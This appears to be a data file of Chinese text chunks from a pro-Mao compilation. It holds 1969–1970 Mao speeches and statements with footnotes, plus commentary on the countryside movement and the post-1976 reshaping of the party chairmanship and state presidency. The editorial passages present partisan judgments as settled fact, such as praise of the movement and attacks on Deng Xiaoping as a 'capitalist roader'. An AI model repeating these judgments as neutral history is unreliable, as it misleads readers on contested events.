知识青年在农村办学讲课，担任低薪金的教员，使得农村的中小学入学率及识字率大大提高。上山下乡运动对我国的教育普及起到了极大的推动作用，这一时期我国的人均教育水平获得极大幅度的提高，识字率和入学率大规模暴增，小学入学率即由一九六三年的57%，大幅提升至一九七六年的96%（同期印度小学入学率为一九六一年40%，至一九七八年上升仅为58%）。在增加基础教育的同时，还取消职业中学，大幅度提升初中及高中普通中学学额，普通初中招生数从一九六三年263.5万大升至一九七六年2344.3万，普通高中招生数从一九六三年43.3万大升至一九七六年861.1万。 同样由于知青下乡运动，合作医疗制度得以建立，大批知青从事赤脚医生的职业，建立了覆盖全国范围的提供保障的医疗保健制度。一九六九年九月二十五日，《人民日报》宣布“在全国范围内实现药品全面大幅度降价”，文章指出： “遵照伟大领袖毛主席“把医疗卫生工作的重点放到农村去”的光辉指示，这次降价幅度最大的是劳动人民特别是农村广大劳动人民常用的普通药品。如一支二十万单位青霉素的价格，比降价前下降了46%，比一九五二年下降了90%；一支一百万单位的双氢链霉素的价格，比降价前下降了63%，比一九五二年下降了94%；消炎片的价格，比降价前降低了13.3%，比一九五二年下降了67%；磺胺嘧啶片的价格比降价前下降了50%，比一九五二年下降了16.5%。最常用的、原来价格就很低的解热止痛药去痛片的价格，这一次又下降了20%。 在药品全面降价的同时，还实行了全国统一药价的革命措施，取消了地区差价，改变了过去由于实行地区差价造成的越是边远地区药价越高的现象，减轻了山区、农村和边疆各族广大劳动人民的药费负担。药品价格的大幅度下降和地区差价的取消，对发展和巩固农村合作医疗制度，促进农村医疗卫生事业的发展，有着重要的意义。” 知青下乡运动为缩小“三大差别”（即工农差别、城乡差别、和体力与脑力劳动差别）做出了巨大贡献，对于农村的教育普及、合作医疗制度的建立乡镇企业的建立（乡镇企业成立多是知青推动，初期其业务骨干也大多是知青担任）都起到了决定性作用，大幅度改变了农民面貌。广大知识青年在农村的艰苦生活磨练了他们的意志品质，了解了生活，也为今后成就事业奠定了坚实的基础。"},
    {"text": "对中国共产党第九次全国代表大会的讲话 对中国共产党 第九次全国代表大会的讲话 * （一九六九年四月一日、十一日、二十八日） （一）（一九六九年四月一日）开幕式上的讲话 同志们！"},
    {"text": "有好几个代表牺牲了，山东的代表王尽美、邓恩铭 〔2〕 ，湖北的代表陈潭秋 〔3〕 ，湖南的代表何叔衡 〔4〕 ，上海的代表李汉俊 〔5〕 ，都是牺牲了。"},
    {"text": "结果，就有几个不好了，王明跑到国外反对我们，李立三也是不好的，张闻天、王稼祥 〔13〕 犯了错误，就这么几个。 其他一些，比如刘少奇 〔14〕 呀，什么彭真、薄一波 〔15〕 这些人，我们不知道他们不好，他们的政治历史我们不清楚，也选进来了。"},
    {"text": "在几年内，国内主要矛盾，是无产阶级和资产阶级的矛盾，已经指出了，但是没有经常讲，所以广大干部不知道，所以这一次又来了二次革命，叫文化大革命。"},
    {"text": "现在苏修攻击我们，什么塔斯社的广播，王明的材料，以及《共产党人》的长篇大论，说我们现在不是无产阶级的党，叫做“小资产阶级的党”。"},
    {"text": "比如二七工厂，就是长辛店铁路机车车辆修理厂，是一个大工厂，八千工人，连家属几万人，过去国民党有九个区分部，三青团有三个机构，另有八个什么特务机构。"},
    {"text": "人家犯了错误，无非是过去犯的，或者加入国民党，或者做了些坏事，或者是犯了最近一个时期的错误，就是所谓走资派，要他们跟群众一道，如果不让他们跟群众一道，那就不好了。"},
    {"text": "所以，我赞成这样的口号，叫做“一不怕苦，二不怕死”，而不赞成那样的口号：“没有功劳也有苦劳，没有苦劳也有疲劳”。 这个口号同“一不怕苦，二不怕死”是对立的。"},
    {"text": "那个时候，江西苏区，井冈山苏区，赣东北，闽西，湘鄂西，陕北，经过战争有很大的牺牲，老人存下的就不多了，那叫做一不怕苦，二不怕死。"},
    {"text": "〔2〕 王尽美、邓恩铭，一九二一年七月以济南共产主义小组代表身分，出席中国共产党第一次全国代表大会，是山东的中共组织最早的组织者和领导者。"},
    {"text": "曾任中共中央委员、中央政治局委员、中央政治局常委，一九三五年六月红军第一、第四方面军在四川懋功（今小金）地区会师后，任红军总政治委员。"},
    {"text": "〔9〕 中国共产党第五次全国代表大会一九二七年四月二十七日至五月十日在武汉举行，出席代表八十多人。 〔10〕 中国共产党第六次全国代表大会一九二八年六月十八日至七月十一日在莫斯科举行，出席这次大会的中央主要领导人和各地代表共一百四十二人，其中有选举权的代表八十四人。"},
    {"text": "李立三，一九三〇年六月至九月，在担任中共中央政治局常委兼秘书长、中央宣传部部长，并实际主持中央工作期间，犯了“左”倾冒险主义错误。"},
    {"text": "一九三四年一月在中共六届五中全会上当选为中央政治局委员，二月当选为中华苏维埃共和国中央政府人民委员会主席，十月参加长征。 一九三五年一月参加遵义会议，支持和拥护以毛泽东为代表的正确路线，作批判“左”倾军事路线的报告。"},
    {"text": "一九四五年在中共七大上当选中央委员，在中共七届一中全会上当选中央政治局委员。 一九五六年在中共八届一中全会上当选中央政治局候补委员。"},
    {"text": "一九四五年在中共七大上当选为候补中央委员。 一九五六年中共八大后任中央委员、中央书记处书记。 一九七三年八月在中共十大上当选中央委员。"},
    {"text": "一九六八年被诊断为“肺炎杆菌性肺炎”，在七月中旬的一次发病后，虽经尽力抢救，从此丧失意识，一九六八年十月中共八届十二中全会通过《关于叛徒、内奸、工贼刘少奇罪行的审查报告》。"},
    {"text": "一九四五年，在中共七大上当选为中央委员，在七届一中全会上当选为中央政治局委员，八月任中央书记处候补书记。 建国后曾任中央政治局委员、中央书记处书记、北京市委书记、北京市市长等职。"},
    {"text": "一九六七年三月十六日，中共中央发布了《关于薄一波、刘澜涛、安子文、杨献珍等人自首叛变问题的初步调查》，认定一九三六年在北平草岚子监狱履行登报《反共启事》手续出狱的薄一波等人为“六十一人叛徒集团案”。"},
    {"text": "二〇〇七年，薄一波去世后，右派文人曾托其名以《十九次谈话》为名散布反毛言论，其子女薄熙来等公开郑重辟谣：“他从一九二五年入党，已有八十多年党龄，始终热爱党，崇敬毛主席。"},
    {"text": "〔18〕 杨得志，时任山东省革委会第一副主任、中国人民解放军济南军区司令员。 〔19〕 王效禹，时任山东省革委会主任、中国人民解放军济南军区第一政委。 〔20〕 许世友，时任江苏省革委会主任、中国人民解放军南京军区司令员。"},
    {"text": "〔24〕 指的是王力、关锋和戚本禹三人，一九六六年后，王力、关锋和戚本禹相继成为《红旗》副总编辑、“中央文革小组”的成员，曾为中央文革成员，王力被任命为中央宣传组组长，关锋成为总政副主任、“军委文革小组”副组长，并受林彪委托兼管《解放军报》，而戚本禹则是中央办公厅秘书局副局长、中共中央办公厅代主任。"},
    {"text": "关于战备疏散的指示 关于战备疏散的指示 * （一九六九年十月十四日） 中央领导同志都集中在北京不好，一颗原子弹就会炸死很多人，应该分散些。"},
    {"text": "〔1〕 “文革”初期，中苏边界的紧张局势加剧，一九六九年三月十五日凌晨，苏军边防军六十余人在六辆装甲车的掩护下，从珍宝岛北端侵入，中国边防部队自卫还击，击毙了苏军边防部队总指挥列昂诺夫上校和杨辛中校，胜利地保卫了珍宝岛。"},
    {"text": "八月二十日，苏联驻美大使多勃雷宁奉命在华盛顿紧急约见了美国总统国家安全事务助理基辛格博士，试探美国：如果苏联打击中国核设施，美国将如何反应？"},
    {"text": "尼克松在同他的高级官员紧急磋商后认为西方国家的最大威胁来自苏联，一个强大中国的存在符合西方的战略利益，因此准备把此消息透露出去，八月二十八日，《华盛顿明星报》在醒目位置刊登一则消息，标题是《苏联欲对中国做外科手术式核打击》。 文中说：“据可靠消息，苏联欲动用中程弹道导弹，携带几百万吨当量的核弹头，对中国的重要军事基地——酒泉、西昌发射基地、罗布泊核试验基地，以及北京、长春、鞍山等重要工业城市进行外科手术式的核打击。"},
    {"text": "八月二十七日，中共中央转发了军委办事组《关于加强全国人民防空工作的报告》，在“备战、备荒、为人民”的口号下，成立了以周恩来为组长的中国人民防空工作领导小组，各省、市、自治区也成立了人民防空领导小组。"},
    {"text": "全国很快进入“要准备打仗”的临战态势，许多企业转向军工生产，国民经济开始转向临战状态，大批工厂转向交通闭塞的山区，实行“山、散、洞”配置，北京等大城市开挖地下工事。"},
    {"text": "八月二十八日，毛泽东主席签发《中国共产党中央委员会命令》（“八·二八命令”），指出“苏修社会帝国主义越来越疯狂地在我边境进行武装挑衅”，要求全国人民防止苏联的“突然袭击”。"},
    {"text": "八月下旬，美国还侦察到苏联空军在远东的一次停飞待命（在整个九月份都继续保持着），这意味着所有飞机同时进入高度准备状态，往往是一次进攻的信号，至少也是对敌人的严酷警告。"},
    {"text": "九月十六日，伦敦《星期六邮报》登载了苏联自由撰稿记者维克多·路易斯的文章，称苏联“为了自身的利益或者那些受到威胁的国家的利益”，有权单方面干涉其他社会主义国家的事务。"},
    {"text": "出于美国全球战略利益和发生大规模核战争的严重后果的考虑，美国尼克松总统决定，故意用已被苏联破译的密码，向苏联本土一百三十四个城市、军事要点、交通枢纽、重工业基地发出进行准备核打击的指令，以牵制苏联。"},
    {"text": "为了展示抵抗决心，九月二十三日和二十九日，在毛泽东指示下，我国先后进行了当量为两万多吨当量的地下原子弹裂变爆炸和轰炸机空投的当量约三百多万吨的氢弹热核爆炸，美联社播发的一篇评论颇具代表性：“中国最近进行的两次核试验，不是为了获取某项成果，而是临战前的一种检测手段。"},
    {"text": "” 九月十一日，在北京机场，苏联会议部长主席柯西金与周恩来会谈，双方会谈似乎异常顺利，但柯西金并没有否认“苏联对中国进行核打击”的传闻，九月二十六日，柯西金在给周恩来的信中称，他建议自十月十日起在北京开始中苏边界问题谈判，九月二十九日，中国建议将边界谈判改到十月二十日开始，十月十四日，柯西金再次致信周恩来，告知苏联谈判代表团将于十月二十日前抵京，针对苏联突然的这种缓和姿态，中央认为，有一种极大的可能是，柯西金来华会谈，与日本特使来栖“珍珠港事变”前赴美一样，只是战争爆发前放的烟雾。"},
    {"text": "由于苏军各师都配备有战术核武器，且受过在核战场上作战的训练，确有能力先发制人，摧毁中国绝大部分核武器和导弹基地、海空军基地和地面部队，占领大片中国领土，数以亿计的人将遭到灭顶之灾。"},
    {"text": "十月十四日，中共中央发出通知，要求在京的中央党政军主要领导人及一些老同志，于十月二十日以前全部战备疏散。 通知说：为了适应反侵略战争的需要，应付苏修社会帝国主义的突然袭击，经中央讨论决定：中央机关集中到北京郊区战备地下指挥部办公，由周恩来同志留在北京主持工作；"},
    {"text": "祝贺越南南方民族解放阵线成立九周年的电报 祝贺越南南方民族解放阵线 成立九周年的电报 * （一九六九年十二月十九日） 越南南方民族解放阵线中央委员会主席团 阮友寿主席： 在越南南方民族解放阵线成立九周年的时候，我们代表中国共产党、中国政府和中国人民，向站在抗美斗争最前线的英雄的越南南方人民和越南南方民族解放阵线，表示最热烈的祝贺。 九年来，越南南方人民在越南南方民族解放阵线光荣的旗帜下，团结一心，不畏强暴，同美帝国主义进行了长期的、艰苦卓绝的斗争，使它陷入了孤立和困难的境地。越南南方人民所取得的伟大胜利，为最后击败美帝国主义，完成越南人民抗美救国的伟大事业奠定了基础；为全世界被压迫民族和被压迫人民的反帝革命斗争作出了重大的贡献。 中国人民向你们致以崇高的敬意。 美帝国主义侵略越南的战争虽然遭到惨重的失败，但是，它还没有最后失败。尼克松 〔1〕 政府上台后，更加露骨地推行反革命两手策略。它口头上侈谈“和平”，宣传要从越南南方逐步撤出美军，借以欺骗美国人民，实际上却在加紧强化侵越战争，企图用所谓越南战争“越南化”，即加强伪军和傀儡政权的办法，来挽救它必然失败的命运。事实证明，尼克松政府的侵越政策，和他的前任约翰逊 〔2〕 政府并无区别，而是一脉相承的。不论他们玩弄什么样的花招，他们是决不会放弃妄图永远霸占南越、分割越南的狂妄野心的。 我们相信，久经锻炼的越南南方人民，在越南南方民族解放阵线和越南南方共和临时革命政府的领导下，遵循胡志明 〔3〕 主席的遗训，发扬“决战决胜”的革命精神，坚持持久战争，坚持独立自主，自力更生，以持久制胜，一定能够粉碎美帝国主义及其同伙的阴谋诡计，克服前进道路上的各种困难，取得抗美救国战争的彻底胜利。 中越两国人民是亲密的兄弟和战友。七亿中国人民是越南人民的坚强后盾。中国人民将永远同越南人民站在一起，坚决支持越南人民把伟大的抗美救国战争进行到底。 最后胜利一定属于英雄的越南人民。 注 释 * ？？？ 〔1〕 尼克松，时任美国总统。 〔2〕 约翰逊，一九六三年至一九六八年任美国总统。 〔3〕 胡志明，越南劳动党中央委员会主席、越南民主共和国主席。一九六九年九月二日逝世。"},
    {"text": "〔1〕 黎笋（一九〇七年四月七日——一九八六年七月十日），越南无产阶级革命家，忠诚的无产阶级革命战士，越南现代史上胡黎政权的不二接班人，胡志明衣钵最忠诚的继承者。"},
    {"text": "四日，美国宣称美军舰只再次遭到越南民主共和国鱼雷艇袭击，即所谓“北部湾事件”，并以此为借口于五日出动空军轰炸越南北方义安、鸿基、清化等地区。"},
    {"text": "美国对西哈努克亲王坚持和平、中立政策，反对美军入侵越南的态度深为不满，不断指使南越当局对柬埔寨实施战争威胁，向西哈努克施加压力，最终于一九七〇年三月十八日乘西哈努克亲王出国访问之机，策动柬政府中的右翼势力朗诺集团发动政变，推翻西哈努克亲王领导的王国政府，宣布废黜国家元首西哈努克，建立了以朗诺为首的政权。"},
    {"text": "政变后，他长期寓居北京，一直受到元首待遇，并于一九七〇年三月二十三日宣布成立柬埔寨民族统一阵线并任主席，发表了告高棉同胞书和声明，领导民族解放斗争，五月在北京组成柬埔寨民族统一阵线和王国民族团结政府，任阵线主席和国家元首。"},
    {"text": "〔6〕 长岛（LongIsland）是一位于北美洲大西洋岸的岛屿，行政上属于美国纽约州的一部份。 长岛长一百九十公里，宽约二十到三十公里，它从纽约港伸入北大西洋。"},
    {"text": "全世界人民团结起来，打败美国侵略者及其一切走狗 全世界人民团结起来， 打败美国侵略者及其一切走狗 * （一九七〇年五月二十日） 目前，在世界范围内，正出现一个反对美帝国主义斗争的新高潮。第二次世界大战后，美帝及其追随者不断地发动侵略战争，各国人民不断地用革命战争打败侵略者。新的世界大战的危险依然存在，各国人民必须有所准备。但是，当前世界的主要倾向是革命。 美国侵略者在越南、老挝打不赢，阴谋策动朗诺——施里玛达集团的反动政变 〔1〕 ，悍然出兵柬埔寨，恢复轰炸越南北方，激起了印度支那三国人民的愤怒反抗。我热烈支持柬埔寨国家元首诺罗敦·西哈努克亲王反对美帝及其走狗的斗争精神，热烈支持印度支那人民最高级会议的联合声明 〔2〕 ，热烈支持柬埔寨民族统一阵线领导下的王国民族团结政府的成立。印度支那三国人民加强团结，互相支援，坚持持久的人民战争，一定能够排除万难，取得彻底胜利。 美帝国主义屠杀外国人，也屠杀本国的白人和黑人。尼克松 〔3〕 的法西斯暴行，点燃了美国革命群众运动的熊熊烈火。中国人民坚决支持美国人民的革命斗争。我相信，英勇战斗的美国人民终将得到胜利，而美国的法西斯统治必然失败。 尼克松政府内外交困，国内一片混乱，在世界上非常孤立。抗议美国侵略柬埔寨的群众运动席卷全球。柬埔寨王国民族团结政府成立不到十天，就得到近二十个国家的承认。越南、老挝、柬埔寨三国人民抗美救国战争的形势越来越好。东南亚各国人民的革命武装斗争，朝鲜、日本和亚洲各国人民反对美日反动派复活日本军国主义的斗争，巴勒斯坦人民和阿拉伯各国人民反对美以侵略者的斗争，亚洲、非洲、拉丁美洲各国人民的民族解放斗争，北美、欧洲、大洋洲人民的革命斗争，都在蓬勃发展。中国人民坚决支持印度支那三国人民和世界各国人民反对美帝及其走狗的革命斗争。 美帝国主义看起来是个庞然大物，其实是纸老虎，正在垂死挣扎。现在世界上究竟谁怕谁？不是越南人民、老挝人民、柬埔寨人民、巴勒斯坦人民、阿拉伯人民和世界各国人民怕美帝国主义，而是美帝国主义怕世界各国人民，一有风吹草动，它就惊慌失措。无数事实证明，得道多助，失道寡助。弱国能够打败强国，小国能够打败大国。小国人民只要敢于起来斗争，敢于拿起武器，掌握自己国家的命运，就一定能够战胜大国的侵略。这是一条历史的规律。 全世界人民团结起来，打败美国侵略者及其一切走狗！ 注 释 * 这是毛泽东同志为支援印度支那三国人民的抗美救国斗争所发表的声明。 〔1〕 一九七〇年三月十八日，原柬埔寨王国首相兼国防大臣、柬埔寨王家武装部队总司令朗诺和副首相施里玛达在美国的策动下，乘柬埔寨国家元首西哈努克亲王在国外的时机发动政变，宣布“废黜”国家元首西哈努克亲王，立郑兴为柬埔寨国家元首。从而使柬埔寨国家的权力转移到亲美派朗诺——施里玛达——郑兴集团手中。 〔2〕 一九七〇年四月二十四日至二十五日，印度支那人民最高级会议在中国、老挝和越南边境地区举行，柬埔寨、老挝、越南南方共和国、越南民主共和国三国四方领导人各自率代表团出席会议，并发表《联合声明》，谴责美国扩大对越南和老挝的侵略战争，在柬埔寨发动政变，重申四方领导人对解决印度支那问题的严正立场，号召印度支那人民团结起来，捍卫民族权利，打败美国侵略者及其一切走狗，使印度支那成为真正符合三国人民与世界人民愿望的独立和平地区。 〔3〕 尼克松，时任美国总统。"},
    {"text": "发展自己的工业和农业不要依靠外国 发展自己的工业和农业 不要依靠外国 * （一九七〇年六月二十四日） （马哈古卜说，在英国还没有完全从苏丹撤走前，美国又进来了。但是由于人民的团结和斗争，英国的星辰已经落下去了，美国的星辰也要落下去。） 这个世界上怕英国人、怕美国人的很多，这几年慢慢地都不大怕了，并敢于说你们刚才所说的那些话。你们苏丹人民了不起啊！ 对美国人民和美国的统治者是要分开来看待的。我对美国人民是寄予希望的，就是美国的工人以及其他穷苦的人。他们总有一天要站在你们和我们这个战线的。 美国独立时，只有三百多万人口。那时英国有近两千万人口，是全盛时代，可是打了败仗。打了八年啊。还不就是一些比你们现在还要差的武器。你们苏丹有一千四百多万人口。 （马哈古卜说，人民已经起来，毛主席的教导在全世界已经传播开了。人们学习了毛主席的教导，理解了毛主席的话，懂得真理应当属于自己，所以人民一定会起来。） 中国的经验可以作参考，要结合各国自己的经验。我们也是找外国的经验，结合中国的经验，譬如巴黎公社的经验，十月革命的经验，等等。 要发展自己的工业和农业。不要依靠外国。可以进口外国技术，利用外国的技术人员帮助你们训练科学家、工程技术人员。但是要自己搞。如果没有这个决心，帝国主义还是要整你们的。 （马哈古卜感谢中国向苏丹提供友好援助，特别是在谈判中贯穿的友好精神。） 物质援助，要到了手，见了效，那才算数。不到手，工厂没有建立起来，那不能算数。你们自己的工程技术人员、科学家没有培养出来，中国人不撤走，也还不能算数。那末，什么叫帝国主义呢？它就是不帮助人家建设的，它赖着不肯走，那没有办法，只好革命了。 非洲可沸腾起来了，闹起来了，大闹起来了！半个多世纪了，五十多年，经过两次世界大战，帝国主义又培养了反对它的人，另外培养一批走狗拥护它自己。 美帝国主义、世界人民不喜欢它，美国人民也不喜欢它。这个美帝国主义专门团结那些各国人民认为是不好的人。它喜欢那类人作朋友，我们就喜欢我们这类人。 帝国主义是要对非洲各国人民的领袖和著名政治家进行暗害阴谋活动的，要提高警惕。 注 释 * 这是毛泽东同志同苏丹政府友好代表团团长马哈古卜 〔1〕 的谈话纪要。 〔1〕 曼苏尔·马哈古卜，时任苏丹财政部长。 帝国主义怕第三世界 帝国主义怕第三世界 * （一九七〇年七月十一日） 英联邦像是个俱乐部，中国过去也是这个俱乐部的。英国第一次世界大战时还行，第二次世界大战以后它顾不了了，把中国让给了美国。所以，日本投降之后，美国帮助蒋介石打我们。而我们这些人就被叫做共产党“匪徒”，跟普通的土匪不同，是共产党“匪徒”。这样，我们就没有资格进那个联合国。哪有“匪徒”能够进联合国的？我们也想了一想，我们这个国家也算个联合国嘛！我不到你那个联合国去也可以嘛！我们这些人，帝国主义都是不高兴的。无论是你们的两位总统也好，还是我们这些人也好，都不大中它们的意。那有什么办法呢？你们到北京来也没有通知英国、美国吧？ 实际上现在世界上帝国主义的日子不大好过。它们怕第三世界，既怕你们这些人，也怕我们这些人。要破除迷信，不要迷信那个什么帝国主义。当然，我不是说帝国主义国家的人民都要反对，也不是说帝国主义国家的技术不可以学习，而是说对帝国主义的政治的迷信，对它们那套欺骗，要破除。要破除对帝国主义的这种迷信不容易，它在一些人中根深蒂固。你看，帝国主义多了不起，它们有那么多原子弹、氢弹，飞机到处飞，海军到处跑，到处占领别人的国家，比如美国出兵柬埔寨 〔1〕 。但它们那个办法是老牌帝国主义英国的做法。英国不是到处占领吗？现在它比较乖乖的了。 注 释 * 这是毛泽东同志同坦桑尼亚政府代表团和赞比亚政府代表团谈话的一部分。 〔1〕 一九七〇年三月，美国在柬埔寨策动军事政变，颠覆西哈努克政府，扶植以朗诺为首的右翼政府，四月三十日，美国政府以柬埔寨有越南南方人民武装的“庇护所”为借口，派遣美国军队和南越雇佣军入侵柬埔寨。"},
    {"text": "国际间的事要由大家商量解决 国际间的事 要由大家商量解决 * （一九七〇年七月十三日） 现在这个世界上不大安宁。你热爱独立是一件事，别人总要干扰你又是一件事。上回我就跟你们讲过，世界上就有那么少数几个国家,喜欢干涉别国的独立。你们说希特勒没有了，日本帝国主义打败了，法国独立了，中国也解放了。但现在世界还是不安宁啊！当然，现在没有人侵犯你们法国；除了台湾以外，也还没有人侵犯中国。但我要告诉你们，我们要准备打仗，不是自己打出去，而是当别国打进来的时候，我们要消灭它。现在已不是几十年前那样，谁人都可以在中国头上拉屎拉尿。 我劝你们除了搞“马其诺防线”之类以外，搞原子弹以外，还要准备搞什么民防那一套。你晓得世界怎么变化？我们又不是那几个大国的参谋长。你们也是受别国的气的。 欧洲现在的形势，不仅你们，就是英国，要想打一场战争看来是困难的。所谓同盟国，现在也难说。它们在有一些问题上谈得来，在另外一些问题上又谈不来。我们之间谈就比较容易，跟美、苏它们谈就比较困难。你们法国没有占领我们中国什么地方，我们中国也没有占领法国的科西嘉岛。 世界上的事就是要商量商量。国内的事要由国内人民自己解决，国际间的事要由大家商量解决，不能由两个大国来决定。 注 释 * 这是毛泽东同志同法国政府代表团谈话的一部分。"},
    {"text": "这部临时宪法主要规定了国家的政治经济制度、公民的权利义务等，也规定了组织国家政权的基本原则，但并没有规定国家机关的设置与职权（“在普选的全国人民代表大会召开以前，由中国人民政治协商会议的全体会议执行全国人民代表大会的职权，制定中华人民共和国中央人民政府组织法，选举中华人民共和国中央人民政府委员会，并付之以行使国家权力的职权。"},
    {"text": "而组织法明确规定：“中央人民政府主席，主持中央人民政府委员会的会议，并领导中央人民政府委员会的工作。 ”这意味着“中央人民政府主席”虽属于中央人民政府委员会，但又具有相对的独立性，并居于领导地位。"},
    {"text": "在第一届全国政治协商会议第一次全体会议上，毛泽东当选中央人民政府主席和中央革命军事委员会主席，“中华人民共和国建立统一的军队，即人民解放军和人民公安部队，受中央人民政府人民革命军事委员会统率，实行统一的指挥，统一的制度，统一的编制，统一的纪律。"},
    {"text": "一九五四年宪法是新中国第一部正式宪法，毛泽东对这部宪法的起草倾注了很大心血，完全可以称之为“毛泽东宪法”。 在国家领导体制上，毛泽东对当时的苏联宪法和一九四九年临时宪法所确立的领导体制作了根本性改革，即创设了一九三六年苏联宪法和建国初期临时宪法中不存在的一个全新领导职位：“国家主席”。 一九五四年宪法规定中华人民共和国主席有下列职权： “第四十条、中华人民共和国主席根据全国人民代表大会的决定和全国人民代表大会常务委员会的决定，公布法律和法令，任免国务院总理、副总理、各部部长、各委员会主任、秘书长，任免国防委员会副主席、委员，授予国家的勋章和荣誉称号，发布大赦令和特赦令，发布戒严令，宣布战争状态，发布动员令。"},
    {"text": "第四十二条、中华人民共和国主席统率全国武装力量，担任国防委员会主席。 第四十三条、中华人民共和国主席在必要的时候召开最高国务会议，并担任最高国务会议主席。 最高国务会议由中华人民共和国副主席、全国人民代表大会常务委员会委员长、国务院总理和其他有关人员参加。 最高国务会议对于国家重大事务的意见，由中华人民共和国主席提交全国人民代表大会、全国人民代表大会常务委员会、国务院或者其他有关部门讨论并作出决定。"},
    {"text": "” 由此来看，五四年宪法规定的国家主席不是一个虚权元首，而是实权元首，在法律上不仅是最高军事统帅，国家元首，而且是政府首脑，人大委员长和总理都直接受其领导。 一九五四年九月二十七日，中华人民共和国第一届全国人大召开第一次全体会议，毛泽东以其在党内外、国内外独一无二的历史地位和无人可比的崇高威望当选国家主席。"},
    {"text": "一九五四年九月二十八日，中共中央政治局决定在中央政治局和中央书记处之下成立中共中央军事委员会，领导中国人民解放军和其他武装力量。 决议指出：“中央政治局认为，必须同过去一样在中央政治局和书记处之下成立一个党的军事委员会，来担负整个军事工作的领导”，根据七大党章第三十四条，“由中央委员会全体会议选举中央政治局与中央书记处，并选举中央委员会主席一人。"},
    {"text": "中央委员会主席即为中央政治局主席与中央书记处主席。 中央委员会依工作需要，设组织、宣传等部与军事、党报等委员会及其他工作机关，分别办理中央各项工作，受中央政治局、中央书记处及中央主席之指导监督”，政治局主席毛泽东自然担任中共中央军事委员会主席。 中华人民共和国主席和中国共产党中央委员会主席职位集于一身，使党政军“三位一体”体制正式建立。"},
    {"text": "从此，毛泽东大量重要的政治活动就通过国家主席和最高国务会议进行的，在从一九五四年到一九五八年，毛泽东召开过大约十六次最高国务会议，相反，中共中央的会议远远少于国务会议。"},
    {"text": "八大党章也确保了中央委员会主席即为政治局主席，自然也是政治局下设的中国共产党军事委员会主席。 一九五六年九月二十六日，八大通过的党章第三十七条规定：“党的中央委员会全体会议选举中央政治局、中央政治局的常务委员会和中央书记处，并且选举中央委员会主席一人、副主席若干人和总书记一人。"},
    {"text": "中央政治局和它的常务委员会在中央委员会全体会议闭会期间，行使中央委员会的职权。 中央书记处在中央政治局和它的常务委员会领导之下，处理中央日常工作。 中央委员会的主席和副主席同时是中央政治局的主席和副主席。"},
    {"text": "” 然而，这个“三位一体”的体制由于一九五九年毛泽东辞去国家主席，而选举刘少奇出任国家主席第一次发生了分裂，即按照八大党章，毛泽东是党主席和中共中央军事委员会主席，拥有最高的政治主权，而按照宪法，刘少奇是国家主席和国防委员会主席，拥有最高的法律主权。"},
    {"text": "而事实也证明了这一点，名不正则言不顺，毛泽东在退居二线不再主持中央日常工作后，不在一线，对大量事情很难直接插手，出现了大量违背毛泽东意愿的做法，如大跃进期间的浮夸等“五风”错误，毛泽东虽然一而再，再而三地强烈批评一线领导，甚至以党内通信的方式要求“根本不要管上级规定的那一套指标。"},
    {"text": "党、政、军、民、学，东、西、南、北、中，党是领导一切的”，因此必须实现党的一元化领导，从比较宪法的角度看，实权元首在国家政治生活中居于最高地位，甚至是唯一的最高地位，当属天经地义。"},
    {"text": "虽然党主席可以兼任国家主席，但是国家主席和国务院总理的二元化问题依然存在，如果党主席不是最高国家元首，就会面临宪政分裂，如毛泽东决定退居二线后，刘少奇任国家主席，但毛泽东仍然是党的军委主席，由于没有修改宪法，这样就在理论上产生了二元化的问题，与“党指挥枪”的原则产生矛盾，尽管实际上这段时间还是坚持党对军队的绝对领导，毛泽东仍然是武装力量的最高领导，但终究是一个宪政弊端。 如果党主席不担任国家主席，那么，任何人担任国家主席都有可能让宪法体制陷入分裂，因此毛泽东经过长期思考后，提出在“改变国家体制，不设国家主席”。"},
    {"text": "这个思想最后体现到一九七五年的宪法了，七五年宪法规定： “第十五条中国人民解放军和民兵是中国共产党领导的工农子弟兵，是各族人民的武装力量。"},
    {"text": "第十七条全国人民代表大会的职权是：修改宪法，制定法律，根据中国共产党中央委员会的提议任免国务院总理和国务院的组成人员，批准国民经济计划、国家的预算和决算，以及全国人民代表大会认为应当由它行使的其他职权。"},
    {"text": "它的职权是：召集全国人民代表大会会议，解释法律，制定法令，派遣和召回驻外全权代表，接受外国使节，批准和废除同外国缔结的条约，以及全国人民代表大会授予的其他职权。"},
    {"text": "” 依据七五宪法，中共中央委员会主席统帅全国武装力量，中共中央委员会主席提名国务院总理，彻底实现了党的一元化领导，彻底解决了宪政分裂的隐患。 应当指出，文革结束后，翻案后的走资派在否定了文革以后，邓小平为了非毛和垂帘听政的需要，废除了党章中的“中共中央委员会主席制”，实行“中共中央委员会总书记”制（与中共中央军委主席分离），恢复了宪法中的“国家主席”职位，同时设“中华人民共和国中央军事委员会主席”职位，终于造出了和原来同名但不同权的“国家主席”和“总书记”。 根据一九八二年九月六日十二大通过的党章： “第二十一条党的中央政治局、中央政治局常务委员会、中央书记处和中央委员会总书记，由中央委员会全体会议选举。"},
    {"text": "中央政治局和它的常务委员会在中央委员会全体会议闭会期间，行使中央委员会的职权。 中央书记处在中央政治局和它的常务委员会领导下，处理中央日常工作。 中央委员会总书记负责召集中央政治局会议和中央政治局常务委员会会议，并主持中央书记处的工作。"},
    {"text": "” 这样，就废除了党主席制，恢复了党总书记（邓小平在五六十年代曾担任过十年书记处总书记，但当时的总书记只是书记处的总书记，不是中央委员会的总书记）制，同时实行中共中央军事委员会主席与党的总书记分离制。"},
    {"text": "另外，邓小平又搞了一部一九八二年宪法，又重新设立了国家主席，但此“国家主席”已非彼“国家主席”，由一九五四年的实权元首，变成了虚权元首，宪法中又设立了独立的中央军事委员会。 一九八二年十二月四日宪法规定： “第八十条中华人民共和国主席根据全国人民代表大会的决定和全国人民代表大会常务委员会的决定，公布法律，任免国务院总理、副总理、国务委员、各部部长、各委员会主任、审计长、秘书长，授予国家的勋章和荣誉称号，发布特赦令，发布戒严令，宣布战争状态，发布动员令。"},
    {"text": "更令人气愤地是，邓小平为了继续掌控军权，在十三大时通过的党章修正案中规定： 第二十一条第五段“党的中央军事委员会组成人员由中央委员会决定。"},
    {"text": "中央军事委员会主席，必须从中央政治局常务委员会委员中产生。 ”改为：“党的中央军事委员会组成人员由中央委员会决定。 ”就是说，普通党员也可以担任中共中央军事委员会主席。"},
